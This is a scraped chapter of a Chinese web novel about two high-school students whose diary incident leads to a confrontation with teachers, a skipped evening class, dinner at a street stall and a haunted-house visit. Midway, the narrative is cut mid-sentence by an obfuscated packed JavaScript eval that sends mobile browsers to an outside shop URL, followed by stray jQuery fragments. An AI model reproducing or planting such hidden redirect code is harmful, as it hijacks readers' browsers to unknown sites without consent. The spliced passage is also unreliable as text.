文趣网 > 都市小说 > 太阳是解药 > 45. 贼船
    “喂?张老师?对我在一班上课,什么?何煦不见了?”

    高二一班教室里高礼知频繁地接电话。

    因为何煦在日记里写到了天台,所以很快就被老师捉到了。

    “你自己看看,你自己看看,”周长庚终于开口了,手指点着那本日记,指甲敲在桌面上,笃笃笃的,“你不好好念书,写这些乌七八糟的东西,你让人家姑娘怎么想?你让老师怎么想?”

    他顿了顿,“你这……写给谁的?”

    “这是我的日记,没有人看过。”何煦低着头,语气却异常平静。

    周长庚拿起来翻了几页,办公室里其他老师都凑过来看,内页第一面上赫然写着几个大字——

    “我是要成为航海王的男人(ps:航海王是石安)”

    ……

    “石安?”刘硕在一旁惊讶开口,“我们班的啊。”

    高礼知同样面色诧异:“你喜欢她?”

    周长庚一脸阴沉:“你和她在早恋?”

    *

    高礼知安排一班的同学自习后,火急火燎地去了办公室。已经过去半节课了,石安的笔尖一直顿在一道题上。

    “去吧。”卢苇吹了一口橡皮屑,忽然开口。

    “去哪?”石安猛地扭头,墨点晕在纸上。

    “不知道,我只是觉得,你应该很想出去?”卢苇语气平静。

    石安想也没想,“没有,与我无关。”

    何煦最近在手机上找她,只讨论题目,一点儿闲话也没聊。她也一直观察着他的成绩,还算……稳定,至少没有退步,那他今天是因为什么消失?是不是又躲去天台了?

    石安心里燥乱不已,隐隐约约觉得不安。

    “石安,来一下办公室。”刘硕敲两下后门,头探进来。

    嗤拉一声,石安起立。

    去办公室的路上,刘硕很沉默,石安更是。到了门口,刘硕一边推门,一边对她轻轻点头,“好好说,老师相信你。”

    石安不知道他话里的寓意是什么,但也攥紧了拳,深吸一口气。

    办公室内是高老师和周主任,还有驼背垂头的何煦,高大地定在办公桌边,看到她来,唇畔翕动,几欲出声。

    周长庚及时制止他,对石安曲曲手掌,“你过来。”

    石安跟在刘硕后面走进去。

    “周老师好,高老师好。”她颔首,还是故作乖巧,不敢轻举妄动。

    “周老师,是我的错,是我单方面喜欢她。日记是我写的,是我一直求她跟我做朋友。您别怪她,要怪就怪我。”何煦听见她声音,没忍住眼眶通红,不管不顾地插话。

    喜欢、日记、做朋友……石安再迟钝也明白过来了。

    “你们为什么要看何煦的日记?”她怒目发问。

    办公室内霎时安静。

    高礼知扶额:“不是我们翻的,是班里的同学拿出来在教室里读,我们把何煦从天台找回来才发现他手里的日记。”

    周长庚一手拍在桌面上,把笔记本调了个头朝向石安,“你别管这么多,你来看看,写的是你吗?你之前看过吗?”

    石安随意瞄了一眼,淡定开口:“我从来不偷看同学的日记。周老师,我想问你,偷人日记、当众念出来,这些事你们为什么不管?”

    她又看向高礼知,“高老师,你也不可能不知道日记是私人的东西,不经允许就拿走,这叫侵犯隐私,小偷不该被叫来问话吗?你们把我们叫来,问我们是什么关系。可这事儿的起因,是有人在班里公开羞辱人,你们不查这些,先审我们,是不是搞错了方向呢?”

    周长庚靠在椅背上,没吭声。

    刘硕疯狂对她眨眼皮打哑谜。

    高礼知看了石安一会儿,说:“班里的事我会处理,但你们俩的事,我也要问清楚。毕竟你们都是我教的学生,对不对?老师也不想你们有超出……朋友范围的关系。”

    石安接得很快,“好,我们没有早恋,甚至连好朋友都不是。”

    她转身,对着一旁的何煦,“何煦同学,谢谢你的喜欢,但是我们现在最主要的任务是学习,马上就要高三了,我没有心思谈恋爱。”

    周长庚一愣,这话咋这么耳熟呢。

    她说完,何煦一脸茫然,石安对着他眯了下眼睑,下巴朝门口方向几不可察地偏了偏。

    何煦霎时了然,吸一下鼻子,对她深深鞠了一躬,声带哭腔:“对不起,我再也不会来打扰你了。”

    然后抽走日记本,另一只手捂脸,拔腿跑出办公室。

    刘硕抱臂咂舌。

    高礼知登时怔得说不出话。

    石安趁火打劫地说:“太不像话了!老师们,我去把他给你们抓回来!”

    然后又对着高礼知,“高老师,您千万别忘了处罚读日记的人。”

    话毕,也“咻”地跑了出去。

    全然不顾办公室里三位老师的错愕。

    石安跑遍全楼层都找不到何煦,正打算下楼,就在楼梯口听见闷闷的哭声。

    何煦蹲在楼梯拐角,头埋在膝盖间,肩膀一抽一抽的。

    “好了,别演了。”石安走过去,低头看着他。

    何煦声音一滞,仰头,脸上一片湿漉漉的,长而浓的睫毛都粘在一起。

    以前他最多只是眼眶红润,这是第一次见他泪珠滚滚的样子呢。

    还真是,楚楚动人,我见犹怜。

    “你真的哭了啊?”石安不好意思地移开视线,忍不住柔声细语,“可是我没有纸。”

    何煦一顿,在自己裤子口袋里掏出一包纸,抽出一张往脸上扑。

    石安俯身,“何煦,是谁欺负你了?”

    他不答话。比起被那些人欺负,更让他难过的,是这么狼狈的自己偏偏被她看见了。

    放学铃蓦地打响。不能再在这里待下去了。

    “何煦,你有逃过课吗?”她走过去,拽起他胳膊。

    “什么?”他拿开纸,惊讶地看她。

    “我们出去玩吧,逃了晚自习!”

    还不及何煦反应,她就拽着他的胳膊,冲下楼梯。

    此时暮色如海,从天的尽头漫上来,淹没了整个校园。

    石安果然是航海王,明知上了她的贼船,何煦却怎么也不想下来。

    *

    出校门后,石安就立刻松了何煦,他们又变成一前一后地走,一路无话。何煦忙着尴尬,石安想着该怎么变卦。

    “你饿不饿?”石安突然问。

    何煦张张嘴,手抄进口袋里,他身无分文跑出来,只带了口袋里那本巴掌大的日记本。

    “没带钱。”他窘迫地说。

    石安回眸一笑:“我请你啊。”

    学校后门有一条小街,窄到两辆电动车交会都要减速。街两边全是路边摊,塑料棚子一家挨着一家,油烟和香味混在一起,把整条街熏得黏糊糊的。

    石安扫一眼,在一家炒面摊前面停下来,塑料凳子上面还滴着水,老板拿抹布随手一擦就招呼他们坐。

    何煦挠了挠头,“吃这个啊?”

    石安已经坐下来了,抬头看他:“你吃不惯?”

    何煦看着边缘有几道裂缝的塑料板凳,摸了摸口袋,纸都被眼泪消耗完了。犹豫了几秒,还是直接坐下。抽了桌面上两双一次性筷子掰开,要了杯开水烫了一下。

    “老板,两碗炒河粉。”石安扭头喊。

    “你逃课逃得很顺溜啊。”何煦已找回自己吊儿郎当的状态,淡然地调侃。

    石安犹豫了一会儿,还是说:“何煦,我上课的时候就知道你出事了。”

    “嗯?”何煦歪头。

    “但是我没有来找你,是刘老师来叫我去办公室的。”

    “是吗。”何煦当时气血上头,没注意刘硕中途出去叫人了,所以看到石安进办公室也是一愣。

    石安坦言:“所以我不是主动来找你的。还没有放学,我不会在上

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17704428|204661||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    课中途跑出教室去找你。而晚自习对我来说不是很重要,也不会被老师狠批,权衡利弊下,我才带你出来。回去后我只要跟刘老师说我身体不太舒服就可以,刘老师也信我的。”

    听完她的话,何煦张口结舌,偏过脸,“哦,我知道啊,你本来就是这样。”

    “嗯,所以我很自私。”

    “不是自私,这很合理啊,我又不是什么很重要的人。”何煦直勾勾地盯着石安额头,因为不想低头,也不敢看她的眼睛,“可是你有没有想过,你是带着我跑出来的,你再怎么演戏,老师同学们都会猜测我们俩的关系……我们……你再怎么算尽心思,还是失败了。”

    石安神色自若,“好聪明哦,你以为我想不到吗?”

    “什么?”

    石安微笑,没有接话。

    何煦上船后,规矩一再打破,掌舵人屡屡偏轨,航船驶离了既定航线。

    何煦的目光从很远的地方……也没有很远,从她的额头下视到她的眼睛里,像是要望到极深的大海去。

    然后,他也绷不住笑。

    老板端来两盘炒河粉,冒着热气,油光锃亮,上面还盖着煎蛋,边缘煎得焦脆。

    “谢谢。”何煦内心松口气,接过,拿起筷子,先夹了一小撮放进嘴里,嚼嚼嚼。

    随即双眼睁圆,朝对面专心拌面的女生比了一个大拇指。

    石安有点得意:“要不我们待会去乐天岛吧。”

    “那个游乐园?”门票可不便宜。

    乐天岛奇幻乐园是这两年新开的,霓虹灯牌在傍晚的天色里亮得招摇。

    门口的大牌子写着——情人节活动,门票半价哦!

    何煦瞄了眼石安,她该不会是早就知道吧,所以才要带他来这里,好狡猾。

    “喂,要不我们……”

    “不对吧,”身旁女生突然出声,“今天又不是情人节。”

    售票员解释:“今天是五二零呀,网络情人节哦。”

    然后她的目光又在石安的校服上停留几秒,“你们是学生吧,不支持学生购买的。”

    哎呀,真可惜。何煦稍挑眉。

    石安低头从兜里拿出钱包,原价购买了两张门票。

    何煦跟着石安走进园区,女生一脸怨气地看着旁边手牵手的情侣们,很不屑的样子。

    何煦搓一搓鼻子,手抄进口袋,“你,很羡慕他们?”

    “对,我羡慕他们能享用优惠!”她恨恨道。

    何煦噎住,无奈:“我回去把钱转给你啦。”

    女生又很大方地摆手:“才不要。”

    园区灯牌全亮,粉紫蓝绿轮流闪。沿着主路走,最先看到一个黑色的建筑物。

    门口挂着一块破旧的木牌,上面用红漆写着“幽灵古堡”,字迹斑驳,旁边一个喇叭循环播放着阴森森的音效,听着让人后脖颈发凉。

    石安张望了一下门口的告示牌:“那就先玩这个吧。”

    何煦抬头看了一眼那个黑洞洞的入口,欣然开口:“好啊,你害怕么?”

    石安摇头,“你呢?”

    何煦微微弓背,睁眼说瞎话:“有点儿。”

    “那你拉着我吧。”她说。

    鬼屋里面比外面看起来更黑,暗红色的指示灯贴在地面上,箭头歪歪扭扭地指向前方,逼仄的走道,头顶偶尔有东西“嗖”地一下擦过去,假蜘蛛挂着细线在天花板上来回荡。

    何煦跟在石安身后半步的距离,轻轻拽着她衣摆。

    最后一个拐角处,墙边突然有动静,“哗啦”一声,骷髅头从暗格里直挺挺地扑出来。何煦整个人往后弹了一步,后背撞到对面的墙上,发出一声闷响。

    刚想说话,手腕被一股力量握上,掌心干燥。何煦又猛地一颤,汗都让他流尽了。

    石安以为他又被吓到,忙安抚:“马上走完了,又没有真人扮鬼,不吓人。”

    何煦内心讪笑,知道不可怕,都是他心里有鬼罢了。